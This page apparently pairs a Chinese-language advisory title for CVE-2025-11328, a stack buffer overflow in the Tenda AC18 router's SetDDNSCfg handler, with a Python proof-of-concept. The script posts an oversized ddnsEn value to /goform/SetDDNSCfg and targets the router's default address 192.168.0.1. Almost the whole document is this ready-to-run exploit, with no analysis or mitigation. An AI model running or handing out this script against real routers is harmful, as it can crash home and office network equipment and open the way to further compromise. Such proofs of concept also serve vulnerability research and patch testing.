CVE-2025-11328：Tenda AC18路由器SetDDNSCfg栈缓冲区溢出漏洞

# CVE-2025-11328 PoC - Tenda AC18 SetDDNSCfg Stack Buffer Overflow # Exploit for stack-based buffer overflow via ddnsEn parameter import requests TARGET_URL = "http://TARGET_IP" ENDPOINT = "/goform/SetDDNSCfg" def exploit(target_ip): """ Send a crafted POST request with an oversized ddnsEn parameter to trigger stack-based buffer overflow in SetDDNSCfg handler. """ url = f"http://{target_ip}{ENDPOINT}" # Construct overflow payload - long string to overflow stack buffer payload = "A" * 1024 # Adjust length to overflow the stack buffer # POST data with malicious ddnsEn parameter data = { "ddnsEn": payload, "ddnsUser": "test", "ddnsPwd": "test" } try: response = requests.post(url, data=data, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Status code: {response.status_code}") print(f"[*] Response length: {len(response.text)}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": target = "192.168.0.1" # Default Tenda router IP exploit(target)